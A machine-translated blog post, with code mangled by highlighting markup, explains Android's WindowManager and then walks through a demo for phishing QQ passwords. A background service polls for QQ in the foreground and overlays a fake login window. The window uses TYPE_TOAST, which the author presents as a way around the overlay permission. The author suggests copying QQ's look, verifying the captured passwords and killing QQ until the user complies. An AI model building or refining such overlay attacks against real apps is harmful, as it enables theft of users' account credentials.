Android WindowManager parsing and cheating QQ password case analysis

<span id="Label3"></p><p><p>Recently saw a person on the internet a loophole in the cloud, the application can open a background service, detection of the current top application, if it is QQ or related applications, pop up a custom window to trick the user into the account password, very interested in, summarize the relevant knowledge wrote a demo, The interface is as follows (the interface is rough, no one should be fooled, the meaning is on the line ha =, =):<br>　　　　　　　　　　　　 <br>　　　　　　　　　　　　 <br>Demo Address: Https://github.com/zhaozepeng/GrabQQPWD<br>　　　　　　　　　　　　</p></p>Window&&windowmanager Introduction<p>Before analyzing the demo, we must first summarize the relevant Knowledge. First look at the Window class, window is an abstract class, located in the code tree Frameworks\u0008asecorejavaandroidviewwindowjava.java file. Together with a note, this file totals more than 1000 lines, outlining the basic properties and basic features of the Android WINDOW. The only implementation of this abstract class is phonewindow, the instantiation of Phonewindow needs a window, only through the WindowManager can be done, the specific implementation of the window class is located in windowmanagerservice, The interaction between WindowManager and Windowmanagerservice is an IPC process. All views in Android are rendered through window, whether Activity,dialog or toast, and their views are actually attached to the window, so window is actually the direct manager of the view, The Click event is also passed to view by WINDOW. The WindowManager.LayoutParams.type parameter represents the type of window, with a total of three types, namely the application window, the child window, and the system window. The application window corresponds to an activity, such as dialog, such as Sub-window can not exist alone, he needs to be attached to the application window, the System window does not need, such as toast, can be directly displayed. Each window has a corresponding z-orderd, the large window will be covered in the hierarchy of small window, the application window is 1~99, the range of the child window is 1000~1999, the range of the system window is 2000~ 2999, these levels are related to the relevant Type,type Value: website links and Chinese materials. The WindowManager.LayoutParams.flags parameter represents the Window's property, which defaults to the relevant value of None,flags: the official link, as well as other layoutparams variable names and values can be referenced Windowmanager.layoutpar AMS (TOP) and Windowmanager.layoutparams (bottom) two translations blog, very detailed.<br>A detailed analysis of the Windowmanager,windowmanager is mainly used to manage some of the Window's status, properties, view additions, deletions, updates, window order, message collection and Processing. An instance of WindowManager can be obtained through code Context.getsystemservice (context.window_service). The functionality provided by WindowManager is simple, there are only three methods commonly used, namely adding view, updating view and deleting view, these three methods are defined in viewmanager, and WindowManager inherit viewmanager,<br></p> <ul> <ul> <li>AddView ();</li> <li>Updateviewlayout ();</li> <li>Removeview ();</li> </ul> </ul>These functions are used to modify the window, its true implementation is the Windowmanagerimpl class, the Windowmanagerimpl class does not directly implement the three operations of window, but all to the Windowmanagerglobal to deal with, Windowmanagerglobal provides its own instance in the form of a factory, with the following code in Windowmanagerglobal:<code><code>private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()</code></code>。 Windowmanagerimpl This mode of operation is a typical bridging mode (not the adorner mode: the difference is here), all the operations are delegated to Windowmanagerglobal to Achieve.<br>View is how views are rendered in android, but view cannot exist alone, he must attach to the abstract concept of window, each window corresponds to a view and a viewrootimpl, window and view are connected through viewrootimpl, so there is a window where there is a view, such as a common activity,dialog,toast.<br>For each activity there is only one decorview that is Viewroot,window is obtained by the following method<br> 　　 <code><code>Window mWindow = PolicyManager.makeNewWindow(this);</code></code> <br>After the window is created, the activity sets a callback for the window, which is recalled to the activity when the window receives an external state change. The Setcontentview () function is called in the activity, which is done by calling Window.setcontentview (), and the concrete implementation of window is phonewindow, So the final concrete operation is in phonewindow, the first step of Phonewindow's Setcontentview method is to detect if the Decorview is present, and if it does not exist, The Generatedecor function is called to create a Decorview directly, and the second step is to add the activity view to the mcontentparent of Decorview The third step is to call the Oncontentchanged method in the activity to notify the activity that the view has Changed. After these steps have been completed, Decorview has not been formally added to the window by WindowManager and finally called the Makevisible method in the Activity's Onresume method in order to actually complete the addition and the actual process, The activity view is visible to the User.<br>The creation process of the dialog window is similar to the activity, The first step is to use the Policymanager.makenewwindow method to create a window, but here the context must be the activity context, and the second step is to set the dialog layout view through the Setcontentview function; The third step calls the show method, which is displayed by adding Decorview to the window via Windowmanager.<br>Toast and dialog are different, it is slightly more complicated, first toast is also based on window, but because the toast has a function of timing cancellation, so the system uses the Handler. There are two types of IPC processes inside the toast, the first being the toast Access notificationmanagerservice, and the TN interface in the Notificationmanagerservice callback Toast. In the toast class, the most important show method for displaying the toast is called Service.enqueuetoast (pkg, tn, mduration), which means that the system maintains a toast queue for us, This is why two toasts are not displayed at the same time, and the method will queue a toast to show when the system maintains the DISPLAY.<p><p></p></p><pre class="prettyprint"><pre class="prettyprint"><code class="hljs cs"><span class="hljs-keyword">private </span> <span class="hljs-keyword"> Static </span> Inotificationmanager sservice; <span class="hljs-keyword">static </span> <span class="hljs-keyword">private </span> Inotificationmanager <span class="hljs-title">getservice </span> () {<span class="hljs-keyword">if </span> (sService ! = <span class="hljs-keyword">null </span>) {<span class="hljs-keyword">return </span> sservice; } sservice = INotificationManager.Stub.asInterface (servicemanager.getservice (<span class="hljs-string"> " Notification "</span>)); <span class="hljs-keyword">return </span> sservice;} </code> </pre></pre><p><p>The service Sservice is the service that the system uses to maintain the Toast. finally, the NMS invokes a static private class tn inside the toast class through the ipc, which is the main implementation of the toast, which completes the creation, display, and hiding of the toast View.<br>Online Introduction WindowManager Blog A lot, are written very well, to specific understanding can be combined to see the source:<br>Http://blog.csdn.net/chenyafei617/article/details/6577940)<br>Http://www.tuicool.com/articles/fqiyeqM<br>http://blog.csdn.net/xieqibao/article/details/6567814<br>Http://www.cnblogs.com/xiaoQLu/archive/2013/05/30/3108855.html<br>The relevant information is too much, interested can look at the source Code.<br>　　</p></p>Cheat QQ Password Instance<p><p>With the foundation above, This example is actually very simple.<br>The first step is to write a service and pop a custom window on the Service:</p></p><pre class="prettyprint"><code class=" hljs avrasm">WindowManager = (windowmanager) Getsystemservice (Context<span class="hljs-preprocessor"><span class="hljs-preprocessor">. WINDOW</span></span>_service)<span class="hljs-comment"><span class="hljs-comment">;</span></span>WindowManager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Layoutparams</span></span>params = new WindowManager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Layoutparams</span></span>()<span class="hljs-comment"><span class="hljs-comment">;</span></span>Params<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Width</span></span>= WindowManager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Layoutparams</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. MATCH</span></span>_parent<span class="hljs-comment"><span class="hljs-comment">;</span></span>Params<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Height</span></span>= WindowManager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Layoutparams</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. MATCH</span></span>_parent<span class="hljs-comment"><span class="hljs-comment">;</span></span>Params<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Flags</span></span>= WindowManager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Layoutparams</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. FLAG</span></span>_not_touch_modal<span class="hljs-comment"><span class="hljs-comment">;</span></span>Params<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Type</span></span>= WindowManager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Layoutparams</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. TYPE</span></span>_toast<span class="hljs-comment"><span class="hljs-comment">;</span></span>Params<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Format</span></span>= PixelFormat<span class="hljs-preprocessor"><span class="hljs-preprocessor">. TRANSPARENT</span></span><span class="hljs-comment"><span class="hljs-comment">;</span></span>Params<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Gravity</span></span>= Gravity<span class="hljs-preprocessor"><span class="hljs-preprocessor">. CENTER</span></span><span class="hljs-comment"><span class="hljs-comment">;</span></span>Params<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Softinputmode</span></span>= WindowManager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Layoutparams</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. SOFT</span></span>_input_adjust_pan<span class="hljs-comment"><span class="hljs-comment">;</span></span>Layoutinflater Inflater = Layoutinflater<span class="hljs-preprocessor"><span class="hljs-preprocessor">.</span> from</span>(this)<span class="hljs-comment"><span class="hljs-comment">;</span></span>v = (relativelayoutwithkeydetect) Inflater<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Inflate</span></span>(R<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Layout</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. Window</span></span>, Null)<span class="hljs-comment"><span class="hljs-comment">;</span></span>V<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Setcallback</span></span>(new Relativelayoutwithkeydetect<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Ikeycodebackcallback</span></span>() {@Override public void Backcallback () {if (v!=null && V<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Isattachedtowindow</span></span>()) L<span class="hljs-preprocessor"><span class="hljs-preprocessor">. E</span></span>(<span class="hljs-string"><span class="hljs-string">"remove view"</span></span>)<span class="hljs-comment"><span class="hljs-comment">;</span></span>WindowManager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Removeviewimmediate</span></span>(v)<span class="hljs-comment"><span class="hljs-comment">;</span></span>}})<span class="hljs-comment"><span class="hljs-comment">;</span></span>Btn_sure = (Button) V<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Findviewbyid</span></span>(R<span class="hljs-preprocessor"><span class="hljs-preprocessor">. ID</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. BTN</span></span>_sure)<span class="hljs-comment"><span class="hljs-comment">;</span></span>Btn_cancel = (Button) V<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Findviewbyid</span></span>(R<span class="hljs-preprocessor"><span class="hljs-preprocessor">. ID</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. BTN</span></span>_cancel)<span class="hljs-comment"><span class="hljs-comment">;</span></span>Et_account = (EditText) V<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Findviewbyid</span></span>(R<span class="hljs-preprocessor"><span class="hljs-preprocessor">. ID</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. et</span></span>_account)<span class="hljs-comment"><span class="hljs-comment">;</span></span>Et_pwd = (EditText) V<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Findviewbyid</span></span>(R<span class="hljs-preprocessor"><span class="hljs-preprocessor">. ID</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. et</span></span>_pwd)<span class="hljs-comment"><span class="hljs-comment">;</span></span>Cb_showpwd = (CheckBox) V<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Findviewbyid</span></span>(R<span class="hljs-preprocessor"><span class="hljs-preprocessor">. ID</span></span><span class="hljs-preprocessor"><span class="hljs-preprocessor">. CB</span></span>_showpwd)<span class="hljs-comment"><span class="hljs-comment">;</span></span>Cb_showpwd<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Setoncheckedchangelistener</span></span>(new Compoundbutton<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Oncheckedchangelistener</span></span>() {@Override public void OnCheckedChanged (compoundbutton buttonview, boolean isChecked) {if (isChecked) { Et_pwd<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Settransformationmethod</span></span>(hidereturnstransformationmethod<span class="hljs-preprocessor"><span class="hljs-preprocessor">. getinstance</span></span>())<span class="hljs-comment"><span class="hljs-comment">;</span></span>} else {et_pwd<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Settransformationmethod</span></span>(passwordtransformationmethod<span class="hljs-preprocessor"><span class="hljs-preprocessor">. getinstance</span></span>())<span class="hljs-comment"><span class="hljs-comment">;</span></span>} et_pwd<span class="hljs-preprocessor"><span class="hljs-preprocessor">. SetSelection</span></span>(textutils<span class="hljs-preprocessor"><span class="hljs-preprocessor">. IsEmpty</span></span>(et_pwd<span class="hljs-preprocessor"><span class="hljs-preprocessor">. GetText</span></span>()) ?<span class="hljs-number"><span class="hljs-number">0</span></span>: Et_pwd<span class="hljs-preprocessor"><span class="hljs-preprocessor">. GetText</span></span>()<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Length</span></span>())<span class="hljs-comment"><span class="hljs-comment">;</span></span>}})<span class="hljs-comment"><span class="hljs-comment">;</span></span>useless//v<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Setonkeylistener</span></span>(new View<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Onkeylistener</span></span>() {//@Override//public boolean onKey (View v, int keycode, keyevent Event) {//Log<span class="hljs-preprocessor"><span class="hljs-preprocessor">. E</span></span>(<span class="hljs-string"><span class="hljs-string">"zhao"</span></span>, keycode+<span class="hljs-string"><span class="hljs-string">""</span></span>)<span class="hljs-comment"><span class="hljs-comment">;</span></span>if (keycode = = KeyEvent<span class="hljs-preprocessor"><span class="hljs-preprocessor">. KeyCode</span></span>_back) {//windowmanager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Removeviewimmediate</span></span>(v)<span class="hljs-comment"><span class="hljs-comment">;</span></span>return True<span class="hljs-comment"><span class="hljs-comment">;</span></span>}//return false<span class="hljs-comment"><span class="hljs-comment">;</span></span>// }// })<span class="hljs-comment"><span class="hljs-comment">;</span></span>Click outside to disappear V<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Setontouchlistener</span></span>(new View<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Ontouchlistener</span></span>() {@Override Public boolean onTouch (view view, motionevent event) {Rect temp = new Rect ()<span class="hljs-comment"><span class="hljs-comment">;</span></span>View<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Getglobalvisiblerect</span></span>(temp)<span class="hljs-comment"><span class="hljs-comment">;</span></span>L<span class="hljs-preprocessor"><span class="hljs-preprocessor">. E</span></span>(<span class="hljs-string"><span class="hljs-string">"remove view"</span></span>)<span class="hljs-comment"><span class="hljs-comment">;</span></span>If (temp<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Contains</span></span>((int) (event<span class="hljs-preprocessor"><span class="hljs-preprocessor">. GetX</span></span>()), (int) (event<span class="hljs-preprocessor"><span class="hljs-preprocessor">. GetY</span></span>())) {windowmanager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Removeviewimmediate</span></span>(v)<span class="hljs-comment"><span class="hljs-comment">;</span></span>return True<span class="hljs-comment"><span class="hljs-comment">;</span></span>} return False<span class="hljs-comment"><span class="hljs-comment">;</span></span>}})<span class="hljs-comment"><span class="hljs-comment">;</span></span>Btn_sure<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Setonclicklistener</span></span>(this)<span class="hljs-comment"><span class="hljs-comment">;</span></span>Btn_cancel<span class="hljs-preprocessor"><span class="hljs-preprocessor">. Setonclicklistener</span></span>(this)<span class="hljs-comment"><span class="hljs-comment">;</span></span>L<span class="hljs-preprocessor"><span class="hljs-preprocessor">. E</span></span>(<span class="hljs-string"><span class="hljs-string">"add view"</span></span>)<span class="hljs-comment"><span class="hljs-comment">;</span></span>WindowManager<span class="hljs-preprocessor"><span class="hljs-preprocessor">. AddView</span></span>(v, Params)<span class="hljs-comment"><span class="hljs-comment">;</span></span></code></pre><p><p>Here are a few things to explain, the first is the type to use Type_toast instead of Type_system_error can bypass the permission, this is in the know on the see someone said a loophole, haha; the second one is because there is edittext, So the softinputmode need to be set to soft_input_adjust_pan, otherwise the soft keyboard will cover the window, the third is the return key to listen, Setonkeylistener is not good, finally, only the Dispatchkeyevent function of the view class can be replicated to implement the key monitoring, and the fourth is to click on the external disappear operation, see the code will understand.<br>Implementation of the Popup pop-up, then set up a real-time listening, open a thread, every few seconds to listen to the user is operating the application is qq, this is much simpler, using Activitymanager can be:</p></p><pre class="prettyprint"><code class=" hljs lasso"><span class="hljs-literal"><span class="hljs-literal">New</span></span> <span class="hljs-keyword"><span class="hljs-keyword">Thread</span></span>(<span class="hljs-literal"><span class="hljs-literal">New</span></span>Runnable () {@Override<span class="hljs-keyword"><span class="hljs-keyword"></span> public</span> <span class="hljs-literal"><span class="hljs-literal">void</span></span>Run () {<span class="hljs-keyword"><span class="hljs-keyword"></span> while</span>(isrunning) {L<span class="hljs-built_in"><span class="hljs-built_in">.</span></span>E<span class="hljs-string"><span class="hljs-string">"running"</span></span>); try {<span class="hljs-keyword"><span class="hljs-keyword">Thread</span></span><span class="hljs-built_in"><span class="hljs-built_in">.</span></span>Sleep<span class="hljs-number"><span class="hljs-number"></span> the</span>); } catch (interruptedexception E) {e<span class="hljs-built_in"><span class="hljs-built_in">.</span></span>Printstacktrace (); } Activitymanager Activitymanager<span class="hljs-subst"><span class="hljs-subst">=</span></span>(activitymanager) Getsystemservice (Context<span class="hljs-built_in"><span class="hljs-built_in">.</span></span>activity_service);<span class="hljs-built_in"><span class="hljs-built_in">List</span></span><span class="hljs-subst"><span class="hljs-subst"><</span></span>Activitymanager<span class="hljs-built_in"><span class="hljs-built_in">.</span></span>Runningappprocessinfo<span class="hljs-subst"><span class="hljs-subst">></span></span> <span class="hljs-built_in"><span class="hljs-built_in">List</span></span> <span class="hljs-subst"><span class="hljs-subst">=</span></span>Activitymanager<span class="hljs-built_in"><span class="hljs-built_in">.</span></span>Getrunningappprocesses ();<span class="hljs-keyword"><span class="hljs-keyword">if</span></span>(<span class="hljs-built_in"><span class="hljs-built_in">List</span></span><span class="hljs-built_in"><span class="hljs-built_in">.</span></span>Get<span class="hljs-number"><span class="hljs-number">0</span></span>)<span class="hljs-built_in"><span class="hljs-built_in">.</span></span>ProcessName<span class="hljs-built_in"><span class="hljs-built_in">.</span></span><span class="hljs-keyword"><span class="hljs-keyword">equals</span></span>(<span class="hljs-string"><span class="hljs-string">"com.tencent.mobileqq"</span></span>)) {myhandler<span class="hljs-built_in"><span class="hljs-built_in">.</span></span>Sendemptymessage (<span class="hljs-number"><span class="hljs-number">1</span></span>); } } }})<span class="hljs-built_in"><span class="hljs-built_in">.</span></span>Start ();</code></pre><p><p>This effect is almost the same, and finally start the service in the activity, of course, there is a lot of room for improvement:<br>1. Modify the UI to make it more similar to the QQ Style.<br>2. After the user entered the account and password, you can addview a loadingdialog, and then call the relevant interface to verify the correctness of the user name and password, the user is not correctly prompted to Re-enter.<br>3. If the user does not enter the account and password, call the Killbackgrondprocess function directly (need permission), hard to turn off qq, until the user input account and Password.<br>Of course, This is only learning knowledge, everyone happy Ah ￣?￣, finally incidentally spit groove, these days received Ali's interview phone, call me to interview, but to interview time also did not give reply, finally did not follow, prepare and look forward to a few days, make the mood is very poor, a word, you abuse me times, I treat you like First love ~.</p></p> <p><p>Android WindowManager parsing and cheating QQ password case analysis</p></p></span>